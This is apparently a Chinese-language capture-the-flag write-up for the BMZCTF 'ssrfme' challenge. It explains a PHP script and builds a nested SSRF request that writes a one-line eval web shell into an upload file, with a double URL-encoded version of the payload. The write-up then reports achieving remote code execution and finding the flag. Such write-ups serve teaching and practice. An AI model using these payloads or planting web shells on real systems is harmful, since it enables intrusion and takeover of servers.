BMZCTF ssrfme


<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}
?
if(strpos($path,'..') > -1){
    die('This is a waf!');
}
?
?
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}
?

进入环境给出了源码,首先判断有没有通过GET方式传入一个值,如果传入且是给file,path传的值,就将file值保存到$url中,path值和"upload/"拼接存入$path中,如果没有通过GET方式传入值那么就高亮显示代码,然后判断我们输入的字符中有没有..如果有就输出'This is a waf!'并退出程序,然后通过strops函数比较传入的file开头是否以http://127.0.0.1/开头,没有的话就输出Hello.Geeker,如果有就包含path传入的url,并显示路径。简单构造一下payload

?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php eval($_POST['shell']);?>&path=3.php

默认情况下,浏览器会对特殊字符进行url编码,所以php默认就会对解析后的参数进行url解码,注意是对解析后的。空格等特殊字符如果不进行编码,服务器在处理的时候可能出现问题,通过浏览器的方式访问的话,空格会自动编码为%20或者+,但我们通过上述方法嵌套参数,让服务器自己去请求http的时候就会出现问题,解决方法是进行二次编码。因为第二点说了web服务器默认就会对解析后的参数进行url解码,所以php最开始解析我们的参数时进行了一个解码,服务器通过http伪协议去访问时又会对解析后的参数进行一次解码,所以我们可以进行二次编码

#将其中一个&进行url编码,让服务器成功解析出两个参数
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST['shell']);?>&path=3.php
#对整个一句话进行二次编码,免得别的字符影响结果
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65&path=3.php

成功rce

然后去根目录直接发现flag

 

相关